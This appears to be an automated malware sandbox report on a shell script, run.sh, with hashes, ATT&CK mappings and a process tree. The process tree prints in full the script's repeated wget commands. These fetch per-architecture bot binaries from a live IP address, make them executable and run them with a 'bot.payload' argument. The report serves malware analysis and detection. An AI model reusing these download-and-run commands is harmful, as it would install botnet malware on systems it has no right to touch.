3de040df634251cd6244247d87d80ebeebf3018e220e6ee9618d070ca3eb3371

Analysis

max time kernel
20s
max time network
20s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
16/05/2026, 00:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.sh
Size 748B
Sample260516-agdahsct3p
SHA256 3de040df634251cd6244247d87d80ebeebf3018e220e6ee9618d070ca3eb3371
MD5 587d0ad299fbdd43ff8808080f41a73e
SHA1 ea7a1433c6930570d6c9ddd830ce2720775ebfb9
SHA512 6d8e536f80b1a7da80690fe3c127faa8d2db7e54d8ef638f773e6b43315f8a6ab699c18f92d80725058be21937bdda72f8e44fb12f4dfc573b2b4834a082dc57
TLSH
T15701999B61B0AC706875893CFD9746B01047181768451D19709F6E04FF2CA4CF6A1656
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
750	chmod
764	chmod
773	chmod
782	chmod
795	chmod
815	chmod
835	chmod
856	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/vdi2qw	751	run.sh
/tmp/vdi2qw	762	vdi2qw
/tmp/8i6zdr	765	run.sh
/tmp/364qw9	774	run.sh
/tmp/dc7v6j	783	run.sh
/tmp/jyw7fr	797	run.sh
/tmp/0rpyfm	816	run.sh
/tmp/k5fqbo	836	run.sh
/tmp/mm2c77	857	run.sh

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	vdi2qw

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
733	wget
761	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8i6zdr	wget
File opened for modification	/tmp/364qw9	wget
File opened for modification	/tmp/dc7v6j	wget
File opened for modification	/tmp/jyw7fr	wget
File opened for modification	/tmp/0rpyfm	wget
File opened for modification	/tmp/k5fqbo	wget
File opened for modification	/tmp/mm2c77	wget
File opened for modification	/tmp/vdi2qw	wget

/tmp/run.sh
/tmp/run.sh
1⤵
- Executes dropped EXE
PID:723
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:726
- /usr/bin/head
  head -c 6
  2⤵
  PID:728
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:727
- /usr/bin/wget
  wget -q http://81.29.156.127/mips -O vdi2qw
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod +x vdi2qw
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /bin/rm
  rm -f vdi2qw
  2⤵
  PID:752
- /tmp/vdi2qw
  ./vdi2qw bot.payload
  2⤵
  - Executes dropped EXE
  - Enumerates kernel/hardware configuration
  PID:751
- - /tmp/vdi2qw
    ./vdi2qw bot.payload
    3⤵
    PID:762
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:756
- /usr/bin/head
  head -c 6
  2⤵
  PID:757
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:755
- /usr/bin/wget
  wget -q http://81.29.156.127/mipsel -O 8i6zdr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod +x 8i6zdr
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /bin/rm
  rm -f 8i6zdr
  2⤵
  PID:766
- /tmp/8i6zdr
  ./8i6zdr bot.payload
  2⤵
  PID:765
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:769
- /usr/bin/head
  head -c 6
  2⤵
  PID:771
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:770
- /usr/bin/wget
  wget -q http://81.29.156.127/x86 -O 364qw9
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod +x 364qw9
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /bin/rm
  rm -f 364qw9
  2⤵
  PID:775
- /tmp/364qw9
  ./364qw9 bot.payload
  2⤵
  PID:774
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:778
- /usr/bin/head
  head -c 6
  2⤵
  PID:780
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:779
- /usr/bin/wget
  wget -q http://81.29.156.127/armv7l -O dc7v6j
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod +x dc7v6j
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /bin/rm
  rm -f dc7v6j
  2⤵
  PID:784
- /tmp/dc7v6j
  ./dc7v6j bot.payload
  2⤵
  PID:783
- /usr/bin/head
  head -c 6
  2⤵
  PID:789
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:787
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:788
- /usr/bin/wget
  wget -q http://81.29.156.127/armv6l -O jyw7fr
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod +x jyw7fr
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /bin/rm
  rm -f jyw7fr
  2⤵
  PID:798
- /tmp/jyw7fr
  ./jyw7fr bot.payload
  2⤵
  PID:797
- /usr/bin/head
  head -c 6
  2⤵
  PID:804
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:802
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:803
- /usr/bin/wget
  wget -q http://81.29.156.127/armv5l -O 0rpyfm
  2⤵
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod +x 0rpyfm
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /bin/rm
  rm -f 0rpyfm
  2⤵
  PID:817
- /tmp/0rpyfm
  ./0rpyfm bot.payload
  2⤵
  PID:816
- /usr/bin/head
  head -c 6
  2⤵
  PID:823
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:822
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:821
- /usr/bin/wget
  wget -q http://81.29.156.127/i686 -O k5fqbo
  2⤵
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod +x k5fqbo
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /bin/rm
  rm -f k5fqbo
  2⤵
  PID:837
- /tmp/k5fqbo
  ./k5fqbo bot.payload
  2⤵
  PID:836
- /usr/bin/head
  head -c 6
  2⤵
  PID:843
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:842
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:841
- /usr/bin/wget
  wget -q http://81.29.156.127/ppc64 -O mm2c77
  2⤵
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x mm2c77
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /bin/rm
  rm -f mm2c77
  2⤵
  PID:858
- /tmp/mm2c77
  ./mm2c77 bot.payload
  2⤵
  PID:857
- /bin/sleep
  sleep 2
  2⤵
  PID:861

/bin/rm
rm -f /tmp/run.sh
1⤵
PID:860

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0rpyfm

Path /tmp/0rpyfm
Size 7.1MB
SHA256 25620c7cd07faa860ae6777ca949a0e98108f36ff3ee3ae792959c9f4e124ead
MD5 48b11e0f53596ee42b5631cc78242450
SHA1 d004755daf6ee74fe7857fbcfa210c0b8ff3ecc0
SHA512 7854f7495b24a16f17e7f0e79eac24045fdc055d6947654795cd477a4d12f05a60dd98142243cd1da860b5cb28712419b0762de03332d68f248acf04562f1a39
SSDEEP 49152:P2FVJ8GabZTzq54aNVd9yjxj5Gea0+qrc5BeJSUP4GFsbmyWkdue5Eh:+KZTzqCazd9yjxj5Gm4GFsKV0Eh
TLSH
T19E762A97B8D14952C4E43A37B8BE81C432630EBA9BC7165B6D15EE383EBE0D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

364qw9

Path /tmp/364qw9
Size 6.9MB
SHA256 87a053dc2a0f74dbc398bc1a81446cabbc33395e20125a78b3fb0192240f7fd1
MD5 4aaac18483b3aff93ba121b67c3b670a
SHA1 2e2922bc5d39b947dba71e7795e795c451b8784a
SHA512 114da6f34df16ee122c8db78a1ffed6858c7b20692272c2bed25b859154a0eb1c1b1e4ea7e833946a2f3b692de5528e87bfbb601f19cfca20fea0dd119cb7c33
SSDEEP 49152:pNBjP2hUIgFmCn7phTo9SDW1pBD4PvOCz2ADADtxKRg3cTD8LJSAU68EcmCLpc5G:3ghjcpBo9SnXOA7DixKmNHRpEH
TLSH
T164762711FE8B50F2E9031D3105ABB26F63325D054F29EBE3EA407F29F97B691193A149
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8i6zdr

Path /tmp/8i6zdr
Size 7.8MB
SHA256 69c45cca395549bf1f9ff360edbe09cda646c0b511c513e6d91515085da9694b
MD5 f2408c794e63d2e1cf76a50e70e18d6b
SHA1 1b95966364c569ca195918c3a035e86062fa7734
SHA512 8d32cff2c6d8f5791276316b766db85cfec6490a4917cb90a4a42d22c20040a671202174a29cf944b36ce3b207c082ee4f93a822f20b97cf2a6023022090d1dc
SSDEEP 49152:Tmh61NZIdMpVriMF/0CQhx8wBAJxCaIE17Il8ZkFc05EI:+sLQhx8ImDOFxEI
TLSH
T1BB860905ADC53BE6C42C5E7444EACA6122B06D140AF2463A26A4FFE9BC772757F478CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dc7v6j

Path /tmp/dc7v6j
Size 6.9MB
SHA256 e5d2949cd5467e38f9e0f9b0422d64c438c4f8c0dd2cd233373ceec09c2bb071
MD5 dae99a2a423501e9e155a7315e66edbd
SHA1 8206f148904fcd75b7a7fdd0f2c9bb950990b577
SHA512 3aa9b09446bed21faa49e07035a07fff573d57938bde01450b4719eaf6f4e7cefbda9d56c342ca3f1da2aa2424c1840a4a77dc4ec9d4e24d83f08daaa44de0a0
SSDEEP 49152:7/ILDNxtVg49bZ5GE6smgs47MvSh7WNBJtTpiB+MuU5E2:7yDdVg49bZ5GE6s10HJtdiB+oE2
TLSH
T1DB761957B8924942C4E43A37B8BE81C432634EBA8BC7125B6D15FE383EBE5D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jyw7fr

Path /tmp/jyw7fr
Size 7.1MB
SHA256 d3e61fad87acde88625d576623df292356bcfde7355c9fa97f782f52fdec5788
MD5 5daaed95ec4771214d27afc0463926c6
SHA1 149d8b9293b7b1eb1f8f34ab482927db4070bb72
SHA512 7fd2fa33f153212e475d1c7ead3219b3904e5c88f6f04936ce8715a45bd9d03af43cf78e8b0f973680090b0261280e05d3e04f37deabb480eb97db78392abf0f
SSDEEP 49152:zP6IZgzgqtv4iFKUwlsVGNvqf4Tmm5GrS+U25cO78gyqv5EkY:uIAgIPcUwlsVGNvq1cO78zqhE1
TLSH
T15C763B97B8924952C4E43A37BCBE81C432630EB99BC7565B6D04EE383EBE1D90E35744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mm2c77

Path /tmp/mm2c77
Size 7.0MB
SHA256 eeefa8281c00c2febd3d2ee552f2c36ae37fcc493e562147f9b5afa92774a8a2
MD5 9bcfc59510f4209dd6b93b25481b8889
SHA1 698aa3dc75826d55f000d3dd25d49baa6864af40
SHA512 05226deb6ba73a35ae0897cf435bc3193c4a3465d0605cfc61ec5a696f46317db2a9d74dc5fe53bb213725e09b2ca516ee9eda44576490d667e53724d89fd66f
SSDEEP 49152:wYZ/SdCnVxNaPnN9a0dqNHWkyIQlTyUp5YIUiXK8PwyESHMEwOMHHUt5ER:NZnrgN9r8HWn+wTxK8PsSsEwOMnUjER
TLSH
T15D767C91FB48A136DA460A3248A70B30B3915D82C1F4C96F970AF72F59B26F7594FED0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vdi2qw

Path /tmp/vdi2qw
Size 7.8MB
SHA256 129f0c1c7baccd24623d99d7f5cde280d364404abe940ec4a3eeaa3a15f07318
MD5 d9c8c69b00c619f07518c112fd39f3a4
SHA1 6ac0d74872efdd2bde345e01f0d328539350aff8
SHA512 6a22aaf445742e7b9165a929195eecdafa30a473373ee6e40a350532336287e4f563107459d3147b40cd35273e114444ebd200fbcbe31eb3fd200e364977cd9d
SSDEEP 49152:wlVZvmsNoaASox/PGQa/jtDf5xaount+fqECXKEuXngHYJ/7FTsdiraia5pp0Zkw:WtzV0RiQ0kcP+rSi6NbnUjEr
TLSH
T118864A137A29EB0FC62821300DB2CA942B691C9642D7911BB745F309F9F21BD5DAECF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads